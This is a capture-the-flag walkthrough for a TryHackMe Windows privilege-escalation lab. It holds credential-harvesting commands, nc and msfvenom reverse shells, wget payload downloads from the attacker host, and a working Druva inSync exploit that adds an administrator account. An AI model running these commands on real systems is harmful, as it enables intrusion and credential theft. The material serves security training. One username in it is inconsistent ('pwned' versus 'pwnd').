# Windows Privilege Escalation

**Room Link:** <https://tryhackme.com/room/windowsprivesc20>

## Harvesting Passwords from Usual Spots

**A password for the julia.jones user has been left on the Powershell history. What is the password?**

**Victim(cmd)**

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRXrb0TVPW5oJjRE704Pt%2Fimage.png?alt=media&#x26;token=b276614f-efe5-4a5f-93dd-604d99b013d3" alt=""><figcaption></figcaption></figure>

**A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db\_admin user?**

**Victim(cmd)**

```
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhaLMuzuVZT2pzRs3hqPP%2Fimage.png?alt=media&#x26;token=51b27fae-0ca8-412b-981c-a7f5dc98dfcc" alt=""><figcaption></figcaption></figure>

**There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.**

**Victim(cmd)**

```
cmdkey /list
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FenaYjNfo5URPbRfcbzMa%2Fimage.png?alt=media&#x26;token=eec82415-5d21-4434-a106-b7c917ca9d70" alt=""><figcaption></figcaption></figure>

**Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?**

**Victim(cmd)**

```
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmhUrzYaCFK62Hsp6Pko6%2Fimage.png?alt=media&#x26;token=bfe59fe7-e99d-4ab2-92b8-0f8f9a58c2b0" alt=""><figcaption></figcaption></figure>

## Other Quick Wins

**What is the taskusr1 flag?**

**Victim(cmd)**

```
schtasks /query /tn vulntask /fo list /v
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FsOFSJ4EvUCVibdpnO0Rd%2Fimage.png?alt=media&#x26;token=67045411-7d65-4fd2-b338-696de3f03816" alt=""><figcaption></figcaption></figure>

**Victim(cmd)**

```
icacls c:\tasks\schtask.bat
```

**Victim(cmd)**

```
icacls c:\tasks\schtask.bat
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fxe94EZSRJj0J8yGeMP83%2Fimage.png?alt=media&#x26;token=7ed4cee3-0b58-4536-a173-cad7e8fd6f43" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 4444
```

**Victim**

```
echo c:\tools\nc64.exe -e cmd.exe $KALI 4444 > C:\tasks\schtask.bat
schtasks /run /tn vulntask
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FewFEChyAG0uWfBlFCKHq%2Fimage.png?alt=media&#x26;token=c5244667-bd5a-443c-97a2-c01a6bb7b2cd" alt=""><figcaption></figcaption></figure>

## Abusing Service Misconfigurations

### Insecure Permissions on Service Executable

**Get the flag on svcusr1's desktop**

**Victim(cmd)**

```
sc qc WindowsScheduler
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvQm1S3NSdUnNGrYObpT6%2Fimage.png?alt=media&#x26;token=e751da09-2bf5-4f5a-b07f-f35c5e799bed" alt=""><figcaption></figcaption></figure>

**Victim(cmd)**

```
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FD6OdUwv6dPam62Fhm26B%2Fimage.png?alt=media&#x26;token=3c801661-4b85-4c60-a9bf-c756bc6faac7" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4445 -f exe-service -o rev-svc.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://$KALI:81/rev-svc.exe -O rev-svc.exe
```

Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we'll want to grant full permissions to the Everyone group as well.

**Victim(Powershell)**

```
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
```

**Kali**

```
nc -lvp 4445
```

**Note:** PowerShell has sc as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way.

As a result, you'll get a reverse shell with svcusr1 privileges:

**Victim(cmd)**

```
sc stop windowsscheduler
sc start windowsscheduler
```

**OR**

**Victim(Powershell)**

```
sc.exe stop windowsscheduler
sc.exe start windowsscheduler
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHNLS7rWeddXpfJjyBwOC%2Fimage.png?alt=media&#x26;token=4715b69f-a3d4-44d2-b549-f5f30d4b13d5" alt=""><figcaption></figcaption></figure>

### Unquoted Service Paths

**Victim(cmd)**

```
 sc qc "disk sorter enterprise"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3Q5mii0gdkdcGrgq0mXW%2Fimage.png?alt=media&#x26;token=f3caee5c-653d-4f77-ab46-75034a36010d" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4446 -f exe-service -o rev-svc2.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://10.10.15.215:81/rev-svc2.exe -O rev-svc2.exe
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
```

**Kali**

```
nc -lvp 4446
```

**Victim(cmd)**

```
sc.exe stop "disk sorter enterprise"
sc.exe start "disk sorter enterprise"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXoy94fVg7tdSNYF2CzVj%2Fimage.png?alt=media&#x26;token=a3c326c1-4956-470f-9f16-c5afa2c6cfae" alt=""><figcaption></figcaption></figure>

### Insecure Service Permissions

**Victim(cmd)**

```
cd C:\tools\AccessChk
accesschk64.exe -qlc thmservice
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fv9Zd2cWKETk5Uati2uOw%2Fimage.png?alt=media&#x26;token=59d6fd4a-91b2-4a5c-aeb5-8c613e6834c4" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4447 -f exe-service -o rev-svc3.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://10.10.15.215:81/rev-svc3.exe -O rev-svc3.exe
```

**Kali**

```
nc -lvp 4447
```

**Victim(Powershell)**

```
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
sc.exe config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc.exe stop THMService
sc.exe start THMService
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFS3toKXEgblLg081b5qV%2Fimage.png?alt=media&#x26;token=58126870-12ac-440a-bf60-c38b28d83a93" alt=""><figcaption></figcaption></figure>

## Abusing dangerous privileges

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fo9sOaTa6P8guFxH5p8N4%2Fimage.png?alt=media&#x26;token=f0b2b29d-87f3-4971-ad0b-07f6e8f8bd44" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvp 4442
```

**Victim(Browser)**

```
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.22.165 4442"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fx0ZvJjuB2df5Y623gQrW%2Fimage.png?alt=media&#x26;token=ebe801fb-e66a-4e29-bf9e-becc02f9aa9f" alt=""><figcaption></figcaption></figure>

## Abusing vulnerable software

### Case Study: Druva inSync 6.6.3

#### **Druva\_inSync\_exploit.ps1**

```
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
```

**Victim**

```
cd C:\tools\
.\Druva_inSync_exploit.ps1
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfDpqci3yqtw5P5qyYETG%2Fimage.png?alt=media&#x26;token=b9e12ad1-15e1-4f67-800d-dca1125b1223" alt=""><figcaption></figcaption></figure>

**Victim(Powershell)**

```
runas /user:pwned "C:\Windows\system32\cmd.exe"
Enter the password for pwnd: SimplePass123
```

**Victim(cmd)**

```
powershell.exe -Command "Start-Process cmd "/k cd /d %cd%" -Verb RunAs"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7HZB77tfxdN6pkBKUlLM%2Fimage.png?alt=media&#x26;token=4128bd4f-9348-402b-adb2-0606892834cc" alt=""><figcaption></figcaption></figure>
